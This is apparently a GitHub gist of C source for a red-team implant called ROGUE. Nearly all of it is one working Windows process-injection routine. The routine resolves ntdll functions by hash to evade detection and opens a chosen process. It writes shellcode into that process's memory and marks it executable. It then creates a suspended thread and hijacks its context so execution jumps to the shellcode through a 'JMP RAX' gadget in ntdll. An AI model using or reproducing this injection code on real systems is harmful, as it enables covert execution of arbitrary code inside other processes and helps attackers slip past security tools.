Skip to content

Instantly share code, notes, and snippets.

@realoriginal
Created October 26, 2023 15:41
Show Gist options
  • Save realoriginal/3a3f97ea2a6e002d87c18831e4c10fe0 to your computer and use it in GitHub Desktop.
Save realoriginal/3a3f97ea2a6e002d87c18831e4c10fe0 to your computer and use it in GitHub Desktop.
/*!
*
* ROGUE
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation Team
*
!*/
#include "Common.h"
typedef struct
{
D_API( NtQueryInformationProcess );
D_API( NtAllocateVirtualMemory );
D_API( NtProtectVirtualMemory );
D_API( NtFreeVirtualMemory );
D_API( NtGetContextThread );
D_API( NtSetContextThread );
D_API( NtCreateThreadEx );
D_API( NtResumeThread );
D_API( NtOpenProcess );
D_API( NtClose );
} API ;
/* API Hashes */
#define H_API_NTQUERYINFORMATIONPROCESS 0x8cdc5dc2 /* NtQueryInformationProcess */
#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMEmory */
#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */
#define H_API_NTFREEVIRTUALMEMORY 0x2802c609 /* NtFreeVirtualMemory */
#define H_API_NTGETCONTEXTTHREAD 0x6d22f884 /* NtGetContextThread */
#define H_API_NTSETCONTEXTTHREAD 0xffa0bf10 /* NtSetContextThread */
#define H_API_NTCREATETHREADEX 0xaf18cfb0 /* NtCreateThreadEx */
#define H_API_NTRESUMETHREAD 0x5a4bc3d0 /* NtResumeThread */
#define H_API_NTOPENPROCESS 0x4b82f718 /* NtOpenProcess */
#define H_API_NTCLOSE 0x40d6e69d /* NtClose */
/* LIB Hashes */
#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
/*!
*
* Purpose:
*
* Locates the jump gadget address x64: RAX x86: ECX
*
!*/
D_SEC( B ) static PVOID GetJmpTgtAddr( VOID )
{
UINT32 Ofs = 0;
PVOID Jmp = NULL;
PBYTE Adr = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
Dos = C_PTR( PebGetModule( E_HSH( H_LIB_NTDLL ) ) );
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
Sec = U_PTR( IMAGE_FIRST_SECTION( Nth ) );
do
{
/* Calculcate the length of the instruction */
Adr = C_PTR( U_PTR( Dos ) + Sec->VirtualAddress + Ofs );
#if defined( _WIN64 )
/* JMP RAX */
if ( Adr[ 0 ] == 0xFF && Adr[ 1 ] == 0xE0 ) {
Jmp = C_PTR( Adr );
break;
}
#else
/* JMP ECX */
if ( Adr[ 0 ] == 0xFF && Adr[ 1 ] == 0xE1 ) {
Jmp = C_PTR( Adr );
break;
};
#endif
/* Adjust the offset */
Ofs = U_PTR( Ofs ) + 1;
} while ( Ofs < Sec->SizeOfRawData );
/* Return the address */
return C_PTR( Jmp );
};
/*!
*
* Purpose:
*
* Injects a specified process with the shellcode.
*
!*/
D_SEC( B ) BOOLEAN CtlInject( _In_ PROGUE_CTX Context, _In_ PVOID Buffer, _In_ UINT32 Length, _Out_ PBUFFER Output, _Out_ PUINT32 Error )
{
API Api;
CONTEXT Ctx;
CLIENT_ID Cid;
PARSED_BUF Psr;
OBJECT_ATTRIBUTES Att;
UINT32 Ofs = 0;
UINT32 Pid = 0;
UINT64 Adr = 0;
UINT32 Stk = 0;
UINT32 Len = 0;
UINT32 Prt = 0;
BOOLEAN Ret = FALSE;
NTSTATUS Nst = 0;
LPVOID Ptr = NULL;
HANDLE Thd = NULL;
HANDLE Prc = NULL;
LPVOID Shl = NULL;
PPACKED_BUF Pkr = NULL;
/* Zero out stack structures */
RtlZeroMemory( &Api, sizeof( Api ) );
RtlZeroMemory( &Ctx, sizeof( Ctx ) );
RtlZeroMemory( &Cid, sizeof( Cid ) );
RtlZeroMemory( &Psr, sizeof( Psr ) );
RtlZeroMemory( &Att, sizeof( Att ) );
Api.NtQueryInformationProcess = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTQUERYINFORMATIONPROCESS ) );
Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTALLOCATEVIRTUALMEMORY ) );
Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTPROTECTVIRTUALMEMORY ) );
Api.NtFreeVirtualMemory = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTFREEVIRTUALMEMORY ) );
Api.NtGetContextThread = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTGETCONTEXTTHREAD ) );
Api.NtSetContextThread = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTSETCONTEXTTHREAD ) );
Api.NtCreateThreadEx = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTCREATETHREADEX ) );
Api.NtResumeThread = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTRESUMETHREAD ) );
Api.NtOpenProcess = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTOPENPROCESS ) );
Api.NtClose = PeGetFuncEat( PebGetModule( E_HSH( H_LIB_NTDLL ) ), E_HSH( H_API_NTCLOSE ) );
/* Extract the arguments */
ParserInit( Buffer, Length, &Psr );
Adr = ParserGetInt64( &Psr );
Pid = ParserGetInt32( &Psr );
Stk = ParserGetInt32( &Psr );
Ofs = ParserGetInt32( &Psr );
Shl = ParserGetBuffer( &Psr, &Len );
/* Set the process ID */
Cid.UniqueProcess = C_PTR( Pid );
/* Initialize the attributes */
InitializeObjectAttributes( &Att, NULL, 0, NULL, NULL );
/* Open the target process ! */
if ( NT_SUCCESS( ( Nst = Api.NtOpenProcess( &Prc, PROCESS_ALL_ACCESS, &Att, &Cid ) ) ) ) {
/* Allocate a buffer */
if ( NT_SUCCESS( ( Nst = Api.NtAllocateVirtualMemory( Prc, &Ptr, 0, &( SIZE_T ){ Len }, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ) ) ) ) {
/* Write the remote process memory using ROP */
if ( NT_SUCCESS( ( Nst = ApcWriteProcessMemory( Prc, Ptr, Shl, Len ) ) ) ) {
/* Set the new protection */
if ( NT_SUCCESS( ( Nst = Api.NtProtectVirtualMemory( Prc, &Ptr, &( SIZE_T ){ Len }, PAGE_EXECUTE_READ | PAGE_TARGETS_NO_UPDATE, &Prt ) ) ) ) {
/* Create the thread 'fix this!' */
if ( NT_SUCCESS( ( Nst = Api.NtCreateThreadEx( &Thd, THREAD_ALL_ACCESS, NULL, Prc, Adr, NULL, TRUE, 0, Stk, 0, NULL ) ) ) ) {
Ctx.ContextFlags = CONTEXT_FULL;
/* Acquire the thread context */
if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( Thd, &Ctx ) ) ) ) {
#if defined( _WIN64 )
Ctx.Rip = U_PTR( GetJmpTgtAddr() );
Ctx.Rax = U_PTR( U_PTR( Ptr ) + Ofs );
#else
Ctx.Eip = U_PTR( GetJmpTgtAddr() );
Ctx.Ecx = U_PTR( U_PTR( Ptr ) + Ofs );
#endif
Ctx.ContextFlags = CONTEXT_FULL;
if ( NT_SUCCESS( Nst ) ) {
/* Set the new context */
if ( NT_SUCCESS( ( Nst = Api.NtSetContextThread( Thd, &Ctx ) ) ) ) {
/* Resume the thread */
if ( NT_SUCCESS( ( Nst = Api.NtResumeThread( Thd, NULL ) ) ) ) {
/* Notify we succeeded */
Ret = TRUE;
};
};
};
};
/* Close the reference */
Api.NtClose( Thd );
};
};
};
if ( Ret != TRUE ) {
/* Free the memory if we failed somehow */
Api.NtFreeVirtualMemory( Prc, &Ptr, &( SIZE_T ){ 0 }, MEM_RELEASE );
};
};
/* Close the reference */
Api.NtClose( Prc );
};
/* Did we fail? */
if ( ! NT_SUCCESS( Nst ) ) {
/* Set the last error */
*Error = Nst;
};
/* Did we succeed? */
if ( Ret != FALSE ) {
/* Add the address */
if ( ( Pkr = PackerInit() ) != NULL ) {
/* Pack the address we injected */
PackerAddInt64( Pkr, Ptr );
if ( ! Pkr->Failed ) {
Ret = BufferAddRaw( Output, Pkr->Buffer->Buffer, Pkr->Buffer->Length );
};
/* Success! */
PackerFree( Pkr );
} else
{
/* No memory */
*Error = STATUS_NO_MEMORY;
/* Reset protection */
Ret = FALSE;
}
}
/* Zero out stack structures */
RtlZeroMemory( &Api, sizeof( Api ) );
RtlZeroMemory( &Ctx, sizeof( Ctx ) );
RtlZeroMemory( &Cid, sizeof( Cid ) );
RtlZeroMemory( &Psr, sizeof( Psr ) );
RtlZeroMemory( &Att, sizeof( Att ) );
return Ret;
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment